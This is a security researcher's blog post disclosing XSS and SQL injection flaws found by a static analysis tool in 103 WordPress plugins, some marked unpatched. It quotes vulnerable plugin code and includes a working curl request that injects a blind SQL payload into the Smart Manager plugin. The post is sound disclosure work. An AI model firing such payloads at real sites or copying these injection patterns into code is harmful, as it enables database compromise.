Saturday, November 21, 2015

PHP static code analysis vs ~1000 top wordpress plugins = 103 vulnerable plugins found


░▒▓█ Introduction


I've been making php static code analysis tool for a while and few months ago I ran it against ~1000 (more or less) top wordpress plugins.

Scanning results were manually verified in my spare time and delivered to official plugins@wordpress.org from 04.07.2015 to 31.08.2015. Most of reported plugins are already patched, some are not. Vulnerable and not patched plugins are already removed from official wordpress plugin repository.

░▒▓█ Results


103 plugins vulnerable with more than 4.000.000 active installations in total (~30.000.000 downloads)

List of reported plugins (original reports contain verification/reproduce sections and urls to plugin wordpress repository entries, where you can also verify changelog) :

  • Cross-Site Scripting (XSS) in Duplicator 0.5.24 [original report - Sat, 15 Aug 2015]
  • Cross-Site Scripting (XSS) in All In One WP Security 3.9.7 [original report - Thu, 13 Aug 2015]
  • Cross-Site Scripting (XSS) in AddThis 5.0.12 [original report - Tue, 11 Aug 2015]
  • Cross-Site Scripting (XSS) in Display Widgets 2.03 [original report - Tue, 11 Aug 2015]
  • Blind SQL injection and XSS in SEO SearchTerms Tagging 2 1.535 [original report - Wed, 8 Jul 2015] NOT PATCHED
  • Blind SQL injection in Pretty Link Lite 1.6.7 [original report - Wed, 8 Jul 2015]
  • Blind SQL injection in WP Statistics 9.4 [original report - Thu, 9 Jul 2015]
  • Cross-Site Scripting (XSS) in My Page Order 4.3 [original report - Thu, 13 Aug 2015] NOT PATCHED
  • Cross-Site Scripting (XSS) in Category Order and Taxonomy Terms Order 1.4.4 [original report - Tue, 18 Aug 2015]
  • Persistent Cross-Site Scripting (XSS) in WP Social Bookmarking Light 1.7.9 [original report - Wed, 19 Aug 2015]
  • Cross-Site Scripting (XSS) in WP Google Fonts v3.1.3 [original report - Wed, 19 Aug 2015]
  • Cross-Site Scripting (XSS) in Easy Table 1.5.2 [original report - Mon, 10 Aug 2015]
  • Cross-Site Scripting (XSS) in My Category Order 4.3 [original report - Thu, 13 Aug 2015] NOT PATCHED
  • Cross-Site Scripting (XSS) in CKEditor for WordPress 4.5.3 [original report - Mon, 31 Aug 2015]
  • Blind SQL injection in Huge IT Slider 2.8.6 [original report - Wed, 22 Jul 2015]
  • Cross-Site Scripting (XSS) in Dynamic Widgets 1.5.10 [original report - Tue, 11 Aug 2015]
  • Cross-Site Scripting (XSS) in Google Language Translator 4.0.9 [original report - Thu, 13 Aug 2015]
  • Cross-Site Scripting (XSS) in JW Player 6 Plugin for Wordpress 2.1.14 [original report - Wed, 19 Aug 2015] NOT PATCHED
  • Persistent Cross-Site Scripting (XSS) in Floating Social Media Icon 2.1 [original report - Wed, 19 Aug 2015]
  • Blind SQL injections in Contact Form Builder 1.0.24 [original report - Tue, 7 Jul 2015]
  • Arbitrary file upload and Cross-Site Scripting (XSS) in Slideshow Gallery 1.5.3 [original report - Thu, 20 Aug 2015]
  • Blind SQL injection in Master Slider 2.5.1 [original report - Thu, 20 Aug 2015]
  • Blind SQL injection and Reflected XSS in WP RSS Multi Importer 3.15 [original report - Wed, 8 Jul 2015] NOT PATCHED
  • Cross-Site Scripting (XSS) in Add Link to Facebook 2.2.7 [original report - Thu, 13 Aug 2015] NOT PATCHED
  • Blind SQL injection in 404 to 301 2.0.2 [original report - Thu, 20 Aug 2015]
  • Cross-Site Scripting (XSS) in Alpine PhotoTile for Instagram 1.2.7.5 [original report - Thu, 20 Aug 2015]
  • Cross-Site Scripting (XSS) in Huge IT Image Gallery 1.5.1 [original report - Thu, 20 Aug 2015]
  • Persistent Cross-Site Scripting (XSS) in Visitor Maps and Who's Online 1.5.8.6 [original report - Thu, 20 Aug 2015]
  • Cross-Site Scripting (XSS) in WP Google Map Plugin 2.3.9 [original report - Thu, 20 Aug 2015]
  • Cross-Site Scripting (XSS) in WP Job Manager 1.23.7 [original report - Thu, 20 Aug 2015]
  • SQL injection (+XSS) in Easy Social Icons 1.2.3.1 [original report - Wed, 22 Jul 2015]
  • Cross-Site Scripting (XSS) in My Link Order 4.3 [original report - Thu, 13 Aug 2015] NOT PATCHED
  • Persistent Cross-Site Scripting (XSS) in WP Database Backup 3.3 [original report - Thu, 20 Aug 2015]
  • Arbitrary file upload and Reflected Cross-Site Scripting (XSS) in Theme Test Drive 2.9 [original report - Thu, 20 Aug 2015]
  • Cross-Site Scripting (XSS) in Subscribe to Comments Reloaded 150611 [original report - Thu, 20 Aug 2015]
  • Cross-Site Scripting (XSS) in SEO Redirection 2.8 [original report - Fri, 21 Aug 2015]
  • Cross-Site Scripting (XSS) in qTranslate-X 3.4.3 [original report - Fri, 21 Aug 2015]
  • Blind SQL injection in Gallery Bank Lite Edition Version 3.0.229 [original report - Fri, 21 Aug 2015]
  • Persistent Cross-Site Scripting (XSS) in Crazy Bone 0.5.5 [original report - Fri, 21 Aug 2015]
  • Persistent Cross-Site Scripting (XSS) in Social Media Widget by Acurax 2.2 [original report - Fri, 21 Aug 2015]
  • Reflected Cross-Site Scripting (XSS) in Anti-spam by CleanTalk 5.21 [original report - Tue, 25 Aug 2015]
  • Blind SQL injection in Smooth Slider 2.6.5 [original report - Wed, 15 Jul 2015]
  • Cross-Site Scripting (XSS) in YITH Maintenance Mode 1.1.4 [original report - Fri, 21 Aug 2015]
  • Multiple SQL injections and XSS in Email Subscribers 2.9 [original report - Mon, 10 Aug 2015]
  • Cross Site Scripting (XSS) in Email newsletter 20.13.6 [original report - Mon, 10 Aug 2015] NOT PATCHED
  • Cross-Site Scripting (XSS) in Easy Pie Coming Soon 1.0.0 [original report - Mon, 10 Aug 2015]
  • Cross-Site Scripting (XSS) in Easy Pie Coming Soon 1.0.0 [original report - Mon, 10 Aug 2015]
  • Cross-Site Scripting (XSS) in Contact Bank Lite Edition 2.0.225 [original report - Thu, 13 Aug 2015]
  • Cross-Site Scripting (XSS) in Kiwi Logo Carousel 1.7.1 [original report - Thu, 13 Aug 2015]
  • Persistent Cross-Site Scripting (XSS) in WP Legal Pages 1.0.1 [original report - Fri, 21 Aug 2015]
  • Cross-Site Scripting (XSS) in WP Crontrol 1.2.3 [original report - Fri, 21 Aug 2015]
  • Cross-Site Scripting (XSS) in Websimon Tables 1.3.4 [original report - Fri, 21 Aug 2015] NOT PATCHED
  • Cross-Site Scripting (XSS) in SEO Rank Reporter 2.2.2 [original report - Mon, 24 Aug 2015] NOT PATCHED
  • Persistent Cross-Site Scripting (XSS) in WP Keyword Link 1.7 [original report - Mon, 24 Aug 2015] NOT PATCHED
  • Cross-Site Scripting (XSS) in Huge IT Portfolio Gallery 1.5.7 [original report - Mon, 24 Aug 2015]
  • Cross-Site Scripting (XSS) in Manual Image Crop 1.10 [original report - Mon, 24 Aug 2015]
  • Cross-Site Scripting (XSS) in iQ Block Country in 1.1.19 [original report - Mon, 24 Aug 2015]
  • SQL injection and Cross-Site Scripting (XSS) in GigPress 2.3.10 [original report - Mon, 24 Aug 2015]
  • Arbitrary file read in Multi Plugin Installer 1.1.0 [original report - Mon, 24 Aug 2015]
  • Persistent Cross-Site Scripting (XSS) in FV Wordpress Flowplayer 6.0.3.3 [original report - Mon, 24 Aug 2015]
  • Persistent Cross-Site Scripting (XSS) in Easy Coming Soon 1.8.1 [original report - Mon, 24 Aug 2015]
  • Cross-Site Scripting (XSS) in Contact Form Manager 1.4.1 [original report - Mon, 24 Aug 2015] NOT PATCHED
  • Blind SQL injection in WordPress Meta Robots 2.1 [original report - Tue, 25 Aug 2015] NOT PATCHED
  • Cross-Site Scripting (XSS) in Smart Slider 2 2.3.11 [original report - Wed, 26 Aug 2015]
  • Cross-Site Scripting (XSS) in Soundcloud is Gold 2.3.1 [original report - Wed, 26 Aug 2015]
  • Blind SQL injection in Contact Form Maker 1.7.30 [original report - Wed, 8 Jul 2015]
  • Cross-Site Scripting (XSS) in Plugin Central 2.5 [original report - Tue, 25 Aug 2015]
  • Blind SQL injection in yet another stars rating 0.9.0 [original report - Mon, 6 Jul 2015]
  • Blind SQL injection in smart manager for wp e commerce 3.9.6 [original report - Wed, 8 Jul 2015]
  • Blind SQL injection and CSRF for logged administrators in awesome filterable portfolio 1.8.6 [original report - Tue, 7 Jul 2015]
  • Blind SQL injections in WP Shop 3.4.3.15 [original report - Wed, 8 Jul 2015]
  • Cross-Site Scripting (XSS) in Job Manager 0.7.24 [original report - Tue, 25 Aug 2015]
  • Persistent Cross-Site Scripting (XSS) in "Post video players, slideshow albums, photo galleries and music / podcast playlist" 1.136 [original report - Tue, 25 Aug 2015]
  • Arbitrary file modification in Child Theme Creator by Orbisius 1.2.6 [original report - Wed, 8 Jul 2015]
  • SQL injection in WP-Stats-Dashboard 2.9.4 [original report - Tue, 25 Aug 2015] NOT PATCHED
  • Cross-Site Scripting (XSS) in WP Page Widget 2.7 [original report - Tue, 25 Aug 2015]
  • Blind SQL injection in wti like post 1.4.2 [original report - Sun, 5 Jul 2015]
  • SQL injection in Huge IT Google Map 2.2.5 [original report - Wed, 8 Jul 2015] NOT PATCHED
  • Blind SQL injection and Reflected XSS vulnerabilities in broken link manager plugin 0.4.5 [original report - Sat, 4 Jul 2015]
  • Blind SQL injection in Microblog Poster 1.6.0 [original report - Wed, 22 Jul 2015]
  • SQL injection and Cross-Site Scripting (XSS) in GoCodes 1.3.5 [original report - Tue, 25 Aug 2015] NOT PATCHED
  • Blind SQL injections in Auto Affiliate Links 4.9.9.4 [original report - Wed, 15 Jul 2015]
  • Cross-Site Scripting (XSS) in WP Widget Cache 0.26 [original report - Tue, 25 Aug 2015] NOT PATCHED
  • SQL injections and XSS in SendPress Newsletters 1.1.7.21 [original report - Thu, 23 Jul 2015]
  • Cross-Site Scripting (XSS) in Email Users 4.7.5 [original report - Mon, 10 Aug 2015]
  • Persistent Cross-Site Scripting (XSS) in Social Share Button 2.1 [original report - Tue, 25 Aug 2015] NOT PATCHED
  • Cross-Site Scripting (XSS) in Social Locker | BizPanda 4.2.0 [original report - Tue, 25 Aug 2015]
  • Cross Site Scripting (XSS) in Email Encoder Bundle - Protect Email Address 1.4.1 [original report - Mon, 10 Aug 2015]
  • Persistent Cross-Site Scripting (XSS) in Page Restrict 2.2.1 [original report - Tue, 25 Aug 2015]
  • Persistent Cross-Site Scripting (XSS) in Multicons 2.1 [original report - Tue, 25 Aug 2015]
  • Persistent Cross-Site Scripting (XSS) in PlugNedit Adaptive Editor 5.2.0 [original report - Tue, 25 Aug 2015]
  • Blind SQL injection in WooCommerce Abandon Cart Lite Plugin 1.7 [original report - Wed, 15 Jul 2015]
  • Persistent XSS in Broken Link manager Ver 0.5.5 [original report - Thu, 16 Jul 2015]
  • Blind SQL injections in Quiz Master Next 4.4.2 [original report - Thu, 16 Jul 2015]
  • Cross-Site Scripting (XSS) in Role Scoper 1.3.64 [original report - Wed, 26 Aug 2015]
  • Blind SQL injections in NEX-Forms 4.0 [original report - Thu, 16 Jul 2015]
  • Cross-Site Scripting (XSS) in Ad Inserter 1.5.5 [original report - Thu, 13 Aug 2015]
  • Cross-Site Scripting (XSS) in Olevmedia Shortcodes 1.1.8 [original report - Tue, 25 Aug 2015]
  • Blind SQL injection in Booking System (+WooCommerce) 2.0 [original report - Tue, 7 Jul 2015]
  • Blind SQL injections in Plgumatter Optin Feature Box 2.0.13 [original report - Thu, 16 Jul 2015]
  • Blind SQL injection in WR ContactForm 1.1.9 [original report - Thu, 9 Jul 2015]
  • Cross-Site Scripting (XSS) in Simple Fields 1.4.10 [original report - Tue, 25 Aug 2015]
  • Blind SQL injections, XSS and more in wp live chat support 4.3.5 [original report - Mon, 6 Jul 2015]

Some notes:

Without magic_quotes_gpc (wordpress "emulate" it anyway when it's off) it will be some more exploitable SQLi vulnerabilities.

I'm also pretty sure that there are some vulnerabilities in reports that I missed, or just thought that they were unexploitable.

Because of low resources limits (like memory limit ~3GB) many plugins from top 1000 list didn't get 100% code coverage.

░▒▓█ What about CVE identifiers?


I've sent bulk request to cve-assign@mitre.org recently. No response so far.

░▒▓█ Static code analysis tool and some hilights


I used own PhpSourcerer static code analysis tool, which is still in development. You can try PhpSourcerer yourself on php-grinder.com (current limits: 2GB Ram, 15 minutes execution time). It has nice web-ui instead of raw text file reports:





I show you some details about reported vulnerabilities to demonstrate what this tool is capable of.


◼ Reflected Cross-Site Scripting (XSS) in Simple Fields 1.4.10


Description: Authenticated users (like subscribers) can inject html/js code (there is no CSRF protection!)

Some urls: Sent report | Original project sources | PhpSourcerer output

This is a simple example, so I guess it doesn't need explanation:
...

function field_type_post_dialog_load() {

    global $sf;

    $arr_enabled_post_types = isset($_POST["arr_enabled_post_types"]) ? $_POST["arr_enabled_post_types"] : array();
    $str_enabled_post_types = isset($_POST["str_enabled_post_types"]) ? $_POST["str_enabled_post_types"] : "";
    $additional_arguments = isset($_POST["additional_arguments"]) ? $_POST["additional_arguments"] : "";
    $existing_post_types = get_post_types(NULL, "objects");
    $selected_post_type = isset($_POST["selected_post_type"]) ? (string) $_POST["selected_post_type"] : "";

    if (empty($arr_enabled_post_types)) {
      $arr_enabled_post_types = explode(",", $str_enabled_post_types);
    }

    /*echo "<br>selected_post_type: $selected_post_type";
    echo "<br>str_enabled_post_types: $str_enabled_post_types";
    echo "<br>enabled post types:"; print_r($arr_enabled_post_types);*/

    // If no post type is selected then don't show any posts
    if (empty($arr_enabled_post_types)) {
      _e("<p>No post type is selected. Please at at least one post type in Simple Fields.</p>", "simple-fields");
      exit;
    }
    ?>

    <?php if (count($arr_enabled_post_types) > 1) { ?>
      <p>Show posts of type:</p>
      <ul class="simple-fields-meta-box-field-group-field-type-post-dialog-post-types">
        <?php
        $loopnum = 0;
        foreach ($existing_post_types as $key => $val) {
          if (!in_array($key, $arr_enabled_post_types)) {
            continue;
          }
          if (empty($selected_post_type) && $loopnum == 0) {
            $selected_post_type = $key;
          }
          $class = "";
          if ($selected_post_type == $key) {
            $class = "selected";
          }
          printf("\n<li class='%s'><a href='%s'>%s</a></li>", $class, "$key", $val->labels->name);
          $loopnum++;
        }
      ?>
      </ul>
      <?php
    } else {
      $selected_post_type = $arr_enabled_post_types[0];
      ?>
      <p>Showing posts of type: <a href="<?php echo $selected_post_type; ?>"><?php echo $existing_post_types[$selected_post_type]->labels->name; ?></a></p>
      <?php
    } ?>

...



◼ Blind SQL injection in smart manager for wp e commerce 3.9.6


Description: Unauthenticated remote attackers can execute arbitrary SQL commands.

Some urls: Sent report | Original project sources | PhpSourcerer output

/smart-manager-for-wp-e-commerce/sm/woo-json.php:
<?php 

ob_start();

...

// For insert updating product in woo.
if (isset ( $_POST ['cmd'] ) && $_POST ['cmd'] == 'saveData') {

...

  if ( $_POST['active_module'] == "Coupons" ) {

...

  } else {
    $result = woo_insert_update_data ( $_POST );
  }
...
woo_insert_update_data() :
...

function woo_insert_update_data($post) {
  global $wpdb,$woocommerce;
    $_POST = $post;  

      // Fix: PHP 5.4
  $editable_fields = array(
    '_billing_first_name' , '_billing_last_name' , '_billing_email', '_billing_address_1', '_billing_address_2', '_billing_city', '_billing_state',
    '_billing_country','_billing_postcode', '_billing_phone',
    '_shipping_first_name', '_shipping_last_name', '_shipping_address_1', '_shipping_address_2',
    '_shipping_city', '_shipping_state', '_shipping_country','_shipping_postcode', 'order_status'
  );
    $new_product = json_decode($_POST['edited']);

  $edited_prod_ids = array();
  $edited_prod_slug = array();

  if (!empty($new_product)) {
    foreach($new_product as $product) {
      $edited_prod_ids[] = $product->id;
    }
  }

  //Code for getting the product slugs
  if ( !empty($edited_prod_ids) ) {
    $query_prod_slug = "SELECT id, post_name
              FROM {$wpdb->prefix}posts
              WHERE id IN (".implode(",",$edited_prod_ids).")";
    $results_prod_slug = $wpdb->get_results($query_prod_slug, 'ARRAY_A');
    $prod_slug_rows = $wpdb->num_rows;

...
So we can inject our payload in valid json variable, like in verification example in sent report:
curl --request POST  --data "cmd=saveData&edited=[{\"id\":\" 1) union select sleep(10),2; -- -\"}]" http://localhost/wp-content/plugins/smart-manager-for-wp-e-commerce/sm/woo-json.php



◼ Reflected Cross-Site Scripting (XSS) in SEO Redirection 2.8


Description: Authenticated administrators can inject html/js code (there is no CSRF protection).

Some urls: Sent report | Original project sources | PhpSourcerer output

/options/option_page_post_redirection_list.php:
<?php 

global $wpdb,$table_prefix,$util;
$table_name = $table_prefix . 'WP_SEO_Redirection';

  if($util->get('del')!='')
  {
    $delid=intval($util->get('del'));
    $wpdb->query(" delete from $table_name where ID='$delid' ");  
    
    if($util->there_is_cache()!='') 
    $util->info_option_msg("You have a cache plugin installed <b>'" . $util->there_is_cache() . "'</b>, you have to clear cache after any changes to get the changes reflected immediately! ");

    $SR_redirect_cache = new clogica_SR_redirect_cache();
    $SR_redirect_cache->free_cache();
  }
  
  $rlink=$util->get_current_parameters(array('del','search','page_num','add','edit'));
?>
<br/>

<script type="text/javascript">

...

</script>

<div class="link_buttons">
<table border="0" width="100%">
  <tr>
    <td width="110"><a href="<?php echo $rlink?>&add=1"><div class="add_link">Add New</div></a></div></td>
    <td align="right">
    <input onkeyup="if (event.keyCode == 13) go_search();" style="height: 30px;" id="search" type="text" name="search" value="<?php echo $util->get('search')?>" size="40">
    <a onclick="go_search()" href="#"><div class="search_link">Search</div></a> 
$util is object of "clogica_util" class (seo-redirection.php):
<?php
/*
...
*/

require_once ('common/controls.php');
require_once ('custom/controls.php');
require_once ('custom/controls/cf.SR_redirect_cache.class.php');

if(!defined('WP_SEO_REDIRECTION_OPTIONS'))
{
  define( 'WP_SEO_REDIRECTION_OPTIONS', 'wp-seo-redirection-group' );
}

if(!defined('WP_SEO_REDIRECTION_VERSION'))
{
  define( 'WP_SEO_REDIRECTION_VERSION', '2.8');
}

$util= new clogica_util();
$util->set_option_gruop(WP_SEO_REDIRECTION_OPTIONS);
...
Finally lets look how clogica_util::get() looks like:
...

public function get($key,$type='text')
{
  if(array_key_exists($key,$_GET))
  {
      $unsafe_val=$_GET[$key];
        return $this->sanitize_req($unsafe_val,$type);    
  }
  else
  {
      return '';
  }
}

...

public function sanitize_req($unsafe_val,$type='text')
{
   switch ($type) {
     case 'text': return sanitize_text_field($unsafe_val);
     break;
     
     case 'int': return intval($unsafe_val);
     break;
     
     case 'email': return sanitize_email($unsafe_val);
     break;
     
     case 'filename': return sanitize_file_name($unsafe_val);
     break;
     
     case 'title': return sanitize_title($unsafe_val);
     break;
        
     default:
        return sanitize_text_field($unsafe_val);
     
     }
}

...
Yep. Wordpress sanitize_text_field() doesn't prevent from succesful XSS exploitation in html tag attribute.


◼ Reflected Cross-Site Scripting (XSS) in Display Widgets 2.03


Description: Authenticated users (like subscribers) can inject html/js code (there is no CSRF protection!).

Some urls: Sent report | Original project sources | PhpSourcerer output

Lets look at the DWPlugin::show_widget_options() method (invokes by http://localhost/wp-admin/admin-ajax.php?action=dw_show_widget)
...
    function show_widget_options() {
        $instance = htmlspecialchars_decode(nl2br(stripslashes($_POST['opts'])));
        $instance = json_decode($instance, true);
        $this->id_base = $_POST['id_base'];
        $this->number = $_POST['widget_number'];
        
        $new_instance = array();
        $prefix = 'widget-'. $this->id_base .'['. $this->number .'][';
        foreach ( $instance as $k => $v ) {
            $n = str_replace( array( $prefix, ']'), '', $v['name']);
            $new_instance[$n] = $v['value'];
        }

        self::show_hide_widget_options($this, '', $new_instance);
        die();
    }
...
As we can see we have two variables assigned to object properties, and then another method (show_hide_widget_options) is called with $this argument. DWPlugin::show_hide_widget_options():
...
    function show_hide_widget_options($widget, $return, $instance) {
        self::register_globals();
    
        $wp_page_types = self::page_types();
            
        $instance['dw_include'] = isset($instance['dw_include']) ? $instance['dw_include'] : 0;
        $instance['dw_logged'] = self::show_logged($instance);
        $instance['other_ids'] = isset($instance['other_ids']) ? $instance['other_ids'] : '';
?>   
    <p>
        <label for="<?php echo $widget->get_field_id('dw_include'); ?>"><?php _e('Show Widget for:', 'display-widgets') ?></label>
        <select name="<?php echo $widget->get_field_name('dw_logged'); ?>" id="<?php echo $widget->get_field_id('dw_logged'); ?>" class="widefat">
            <option value=""><?php _e('Everyone', 'display-widgets') ?></option>
            <option value="out" <?php echo selected( $instance['dw_logged'], 'out' ) ?>><?php _e('Logged-out users', 'display-widgets') ?></option>
            <option value="in" <?php echo selected( $instance['dw_logged'], 'in' ) ?>><?php _e('Logged-in users', 'display-widgets') ?></option>
        </select>
    </p>

     <p>
     <select name="<?php echo $widget->get_field_name('dw_include'); ?>" id="<?php echo $widget->get_field_id('dw_include'); ?>" class="widefat">
...
And finally get_field_id method and get_field_name:
...
    function get_field_name($field_name) {
  return 'widget-' . $this->id_base . '[' . $this->number . '][' . $field_name . ']';
 }
    
 function get_field_id($field_name) {
  return 'widget-' . $this->id_base . '-' . $this->number . '-' . $field_name;
 }
...
$this->id_base and $this->number were assigned at the beggining in DWPlugin::show_widget_options method.


◼ Persistent Cross-Site Scripting (XSS) in FV Wordpress Flowplayer 6.0.3.3


Description: Authenticated administrators can store html/js code in plugin configuration values (there is no CSRF protection!)

Some urls: Sent report | Original project sources | PhpSourcerer output

First lets look at fv_wp_flowplayer_admin_init() function:
...
function fv_wp_flowplayer_admin_init() {
 if( isset($_GET['type']) ) {
  if( $_GET['type'] == 'fvplayer_video' || $_GET['type'] == 'fvplayer_video_1' || $_GET['type'] == 'fvplayer_video_2' || $_GET['type'] == 'fvplayer_mobile' ) {
   $_GET['post_mime_type'] = 'video';
  }
  else if( $_GET['type'] == 'fvplayer_splash' || $_GET['type'] == 'fvplayer_logo' ) {
   $_GET['post_mime_type'] = 'image';
  }
  }
  
  if( isset($_POST['fv-wp-flowplayer-submit']) ) {
   global $fv_fp;
   if( method_exists($fv_fp,'_set_conf') ) {
   $fv_fp->_set_conf();    
  } else {
   echo 'Error saving FV Flowplayer options.';
  }
 }

  global $fv_fp;
 ...
As we can see we execute _set_conf() method on $fv_wp object when we send fv-wp-flowplayer-submit in POST. $fv_fp is global object of flowplayer_frontend class defined in flowplayer.php main file.
...
$fv_wp_flowplayer_ver = '2.3.17';
$fv_wp_flowplayer_core_ver = '5.5.2';

include( dirname( __FILE__ ) . '/includes/extra-functions.php' );
if( file_exists( dirname( __FILE__ ) . '/includes/module.php' ) ) {
  include( dirname( __FILE__ ) . '/includes/module.php' );
}

include( dirname( __FILE__ ) . '/models/checker.php' );
$FV_Player_Checker = new FV_Player_Checker();

include_once(dirname( __FILE__ ) . '/models/flowplayer.php');
include_once(dirname( __FILE__ ) . '/models/flowplayer-frontend.php');
$fv_fp = new flowplayer_frontend();

if( is_admin() ) {
 include( dirname( __FILE__ ) . '/controller/backend.php' );
  
  register_deactivation_hook( __FILE__, 'flowplayer_deactivate' );

} 
 
include( dirname( __FILE__ ) . '/controller/frontend.php' );
require_once( dirname( __FILE__ ) . '/controller/shortcodes.php');
$fv_fp->_set_conf() method is not really belongs to "flowplayer_frontend" class but to "flowplayer" that "flowplayer_frontend" is extending:
...
class flowplayer_frontend extends flowplayer {
...
flowplayer::_set_conf():
...
 public function _set_conf() {
    $aNewOptions = $_POST;
    $sKey = $aNewOptions['key'];

    foreach( $aNewOptions AS $key => $value ) {
      if( is_array($value) ) {
        $aNewOptions[$key] = $value;
      } else if( !in_array( $key, array('amazon_region', 'amazon_bucket', 'amazon_key', 'amazon_secret', 'font-face', 'ad', 'ad_css') ) ) {
        $aNewOptions[$key] = trim( preg_replace('/[^A-Za-z0-9.:\-_\/]/', '', $value) );
      } else {
        $aNewOptions[$key] = stripslashes($value);
      }
      if( (strpos( $key, 'Color' ) !== FALSE )||(strpos( $key, 'canvas' ) !== FALSE)) {
        $aNewOptions[$key] = '#'.strtolower($aNewOptions[$key]);
      }
    }
    $aNewOptions['key'] = trim($sKey);
    $aOldOptions = is_array(get_option('fvwpflowplayer')) ? get_option('fvwpflowplayer') : array();
    
    if( isset($aNewOptions['db_duration']) && $aNewOptions['db_duration'] == "true" && ( !isset($aOldOptions['db_duration']) || $aOldOptions['db_duration'] == "false" ) ) {
      global $FV_Player_Checker;
      $FV_Player_Checker->queue_add_all();
    }
    
    if( !isset($aNewOptions['pro']) || !is_array($aNewOptions['pro']) ) {
      $aNewOptions['pro'] = array();
    }
    
    if( !isset($aOldOptions['pro']) || !is_array($aOldOptions['pro']) ) {
      $aOldOptions['pro'] = array();
    }    
 
    
    $aNewOptions['pro'] = array_merge($aOldOptions['pro'],$aNewOptions['pro']);
    $aNewOptions = array_merge($aOldOptions,$aNewOptions);
    $aNewOptions = apply_filters( 'fv_flowplayer_settings_save', $aNewOptions, $aOldOptions );
    update_option( 'fvwpflowplayer', $aNewOptions );
    $this->conf = $aNewOptions;    
    
    $this->css_writeout();
           
    return true;  
  }
...
As we can see we override plugin options, that is why we can inject XSS payload in fv_flowplayer_admin_default_options():
...
function fv_flowplayer_admin_default_options() {
 global $fv_fp;
?>
 <table class="form-table2">

...      

  <tr>
   <td><label for="width">Default video size [px]:</label></td>
   <td colspan="2">      
    <label for="width">W:</label> <input type="text" class="small" name="width" id="width" value="<?php echo trim($fv_fp->conf['width']); ?>" />  
    <label for="height">H:</label> <input type="text" class="small" name="height" id="height" value="<?php echo trim($fv_fp->conf['height']); ?>" />       
   </td>
  </tr>      
  <tr>
   <td><label for="googleanalytics">Google Analytics ID:</label></td>
   <td colspan="3"><input type="text" name="googleanalytics" id="googleanalytics" value="<?php echo trim($fv_fp->conf['googleanalytics']); ?>" /></td>
  </tr>
  <tr>
   <td><label for="key">Commercial License Key:</label></td>
   <td colspan="3"><input type="text" name="key" id="key" value="<?php echo trim($fv_fp->conf['key']); ?>" /></td>
  </tr>
...



◼ Blind SQL injection in Master Slider 2.5.1


Description: Authenticated users (like editors) can execute arbitrary sql commands (there is no CSRF protection)

Some urls: Sent report | Original project sources | PhpSourcerer output

I'll just show you just the flow without commenting (pay attention to orderby parameter/variables). We start by looking at /master-slider/admin/views/slider-dashboard/list-sliders.php file:
<?php
    msp_get_panel_header();

    // Display sliders list
 $slider_table_list = new MSP_List_Table();
 $slider_table_list->prepare_items(); 
 $slider_table_list->display(); 
MSP_List_Table::prepare_items() :
...
 function prepare_items() {

  $columns  = $this->get_columns();
  $hidden  = array();
  $sortable  = $this->get_sortable_columns();
   
  $this->_column_headers = array( $columns, $hidden, $sortable );
  
  $this->process_bulk_action();

  $perpage   = (int) apply_filters( 'masterslider_admin_sliders_per_page', 10 );
  $current_page  = $this->get_pagenum();
  $orderby   = 'ID';
  $order    = 'DESC';
  $total_items  =  $this->get_total_count();


  $this->items  = $this->get_records( $perpage, $current_page, $orderby, $order );
  // echo '
'; print_r( $this->items ); echo '
'; // tell the class the total number of items and how many items to show on a page $this->set_pagination_args( array( 'total_items' => $total_items, 'per_page' => $perpage )); } ...
MSP_List_Table::get_total_count() :
...
 function get_total_count(){
  global $mspdb;
  
  $all_items = $this->get_records( 0 );
  return count( $all_items );
 }
...
MSP_List_Table::get_records() :
...
 function get_records( $perpage = 20, $paged  = 1, $orderby = 'ID', $order = 'DESC', $where = "status='published'" ){
  global $mspdb;
  
  $offset  = ( (int)$paged - 1 ) * $perpage;
  $orderby = isset( $_REQUEST['orderby'] ) ? $_REQUEST['orderby'] : 'ID';
  $order   = isset( $_REQUEST['order'] ) ? $_REQUEST['order'] : 'ASC';
  
  $search  = isset( $_REQUEST['s'] ) ? " AND title LIKE '%%" . $_REQUEST['s'] . "%%'" : '';

  return $mspdb->get_sliders( $perpage, $offset, $orderby, $order, $where.$search );
 }
...
MSP_DB::get_sliders() :
...
 public function get_sliders( $perpage = 0, $offset  = 0, $orderby = 'ID', $sort = 'DESC', $where = "status='published'" ) {
  
  // pull mulitple row results from sliders table
  if( ! $results = $this->get_sliders_list( $perpage, $offset, $orderby, $sort, $where ) ){
   return;
  }

  // map through some fields and unserialize values if some data fields are serialized
  foreach ($results as $row_index => $row) {
   $results[$row_index] = $this->maybe_unserialize_fields($row);
  }

  return $results;
 }
...
MSP_DB::get_sliders_list() :
...
 public function get_sliders_list( $perpage = 0, $offset  = 0, $orderby = 'ID', $order = 'DESC', $where = "status='published'" ) {
  global $wpdb;

  $args = array(
   'perpage' => $perpage,
   'offset'  => $offset,
   'orderby' => $orderby,
   'order'   => $order,
   'where'   => $where
  );
  
  return $this->ms_query( $args );
 }
...
And finally MSP_DB::ms_query() where actual SQL injection takes place:
...
 public function ms_query( $args = array() ) {
  global $wpdb;

  $default_args = array(
   'perpage' => 0,
   'offset'  => 0,
   'orderby' => 'ID',
   'order'   => 'DESC',
   'where'   => "status='published'",
   'like'    => ''
  );

  $args = wp_parse_args( $args, $default_args );


  // convert perpage type to number
  $limit_num = (int) $args['perpage'];

  // convert offset type to number
  $offset_num = (int) $args['offset'];

  // remove limit if limit number is set to 0
  $limit  = ( 1 > $limit_num ) ? '' : 'LIMIT '. $limit_num; 

  // remove offect if offset number is set to 0
  $offset = ( 0 == $offset_num )? '' : 'OFFSET '. $offset_num; 

  // add LIKE if defined
  $like  = empty( $args['like'] ) ? '' : 'LIKE '. $args['like']; 

  $where = empty( $args['where'] ) ? '' : 'WHERE '. $args['where']; 

  // sanitize sort type
  $order   = strtolower( $args['order'] ) === 'desc' ? 'DESC' : 'ASC';
  $orderby = $args['orderby'];

  $sql = "
   SELECT *
   FROM {$this->sliders}
   $where
   ORDER BY $orderby $order
   $limit 
   $offset
   ";
  
  return $wpdb->get_results( $sql, ARRAY_A );
 }
...


░▒▓█ Bonus: funny mistake in validation


Plugin: Visitor Maps and Who's Online 1.5.8.6

Idea was good, but something went wrong :-)
function view_whos_been_online() {

...

  $show = (isset($wo_prefs_arr['show'])) ? $wo_prefs_arr['show'] : 'none';
  if ( isset($_GET['show']) && in_array($_GET['show'], array('none','all','bots','guests')) ) {
    $wo_prefs_arr['show'] = $_GET['show'];
    $show = $_GET['show'];
  }

...

  $sort_by = (isset($wo_prefs_arr['sort_by'])) ? $wo_prefs_arr['sort_by'] : 'time';
